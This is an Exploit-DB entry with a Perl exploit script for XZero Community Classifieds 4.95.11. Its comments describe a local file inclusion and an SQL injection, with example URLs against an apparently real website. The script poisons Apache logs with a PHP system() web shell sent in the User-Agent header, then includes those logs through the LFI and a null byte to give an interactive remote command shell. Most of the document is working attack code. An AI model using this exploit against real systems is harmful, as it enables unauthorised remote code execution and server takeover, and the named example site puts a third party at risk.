Exploit-DB #4794
Description: XZero Community Classifieds 4.95.11 - Local File Inclusion / SQL Injection
Type: webapps
Platform: php
Date: 2007-12-26
Author: Kw3[R]Ln

Exploit:
#!/usr/bin/perl
#
# XZero Community Classifieds  <= v4.95.11 LFI & SQL Injection
# linK : http://www.xzeroscripts.com
# download: http://rapidshare.com/files/66809648/XZCl4.95.11.rar
# original thread: http://en.rstzone.org/xzero-community-classifieds-v4-95-11-lfi-sql-in-t9394.rst
# (c)od3d and f0unded by Kw3rLn from Romanian Security Team a.K.A http://rstzone.org
#
# Local file inclusion in index.php:
#
#  switch($xview)
#        {
#                      [ ..... ]
#            case "page"            : $page = "$_GET[pagename].php";    break;
#               [ ..... ]
#        }
#
#  include_once($page);
# in common.inc.php line 40: $xview = $_GET['view'] ? $_GET['view'] : "main";
#
# SQL Injection in post.php
# line 511: $sql = "SELECT expireafter FROM $t_subcats WHERE subcatid = $_REQUEST[subcatid]";
# ( And more but useless cuz admin password is in config.inc.php)
#
# LFI: http://site.com/index.php?view=page&pagename=[Local_FIle]%00
# Example: http://www.diasporaromana.com/index.php?view=page&pagename=tetete
#
# SQL: http://site.com/index.php?view=post&cityid=2&lang=en&catid=2&subcatid=[SQL]
# Example: http://www.diasporaromana.com/index.php?view=post&cityid=220&lang=en&catid=5&subcatid=18'
#
# And now exploit for LFI

use IO::Socket;
use LWP::Simple;


@apache=(
"../../../../../var/log/httpd/access_log",
"../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../etc/httpd/logs/access_log",
"../../../../../etc/httpd/logs/access.log",
"../../../../../etc/httpd/logs/error_log",
"../../../../../etc/httpd/logs/error.log",
"../../.. /../../var/www/logs/access_log",
"../../../../../var/www/logs/access.log",
"../../../../../usr/local/apache/logs/access_log",
"../../../../../usr/local/apache/logs/access.log",
"../../../../../var/log/apache/access_log",
"../../../../../var/log/apache/access.log",
"../../../../../var/log/access_log",
"../../../../../var/www/logs/error_log",
"../../../../../var/www/logs/error.log",
"../../../../../usr/local/apache/logs/error_log",
"../../../../../usr/local/apache/logs/error.log",
"../../../../../var/log/apache/error_log",
"../../../../../var/log/apache/error.log",
"../../../../../var/log/ access_log",
"../../../../../var/log/error_log"
);

print "[RST] XZero Community Classifieds <= v4.95.11 Remote Command Execution Exploit\n";
print "[RST] need magic_quotes_gpc = off\n";
print "[RST] c0ded by Kw3rLN from Romanian Security Team [ http://rstzone.org ] \n\n";


if (@ARGV < 3)
{
    print "[RST] Usage: xzero.pl [host] [path] [apache_path]\n\n";
    print "[RST] Apache Path: \n";
    $i = 0;
    while($apache[$i])
    { print "[$i] $apache[$i]\n";$i++;}
    exit();
}

$host=$ARGV[0];
$path=$ARGV[1];
$apachepath=$ARGV[2];

print "[RST] Injecting some code in log files...\n";
$CODE="<?php ob_clean();system(\$HTTP_COOKIE_VARS[cmd]);die;?>";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "[RST] Could not connect to host.\n\n";
print $socket "GET ".$path.$CODE." HTTP/1.1\r\n";
print $socket "User-Agent: ".$CODE."\r\n";
print $socket "Host: ".$host."\r\n";
print $socket "Connection: close\r\n\r\n";
close($socket);
print "[RST] Shell!! write q to exit !\n";
print "[RST] IF not working try another apache path\n\n";

print "[shell] ";$cmd = <STDIN>;

while($cmd !~ "q") {
    $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "[RST] Could not connect to host.\n\n";

    print $socket "GET ".$path."index.php?view=page&pagename=".$apache[$apachepath]."%00&cmd=$cmd HTTP/1.1\r\n";
    print $socket "Host: ".$host."\r\n";
    print $socket "Accept: */*\r\n";
    print $socket "Connection: close\r\n\n";

    while ($raspuns = <$socket>)
    {
        print $raspuns;
    }
    print "[shell] ";
    $cmd = <STDIN>;
}

# milw0rm.com [2007-12-26]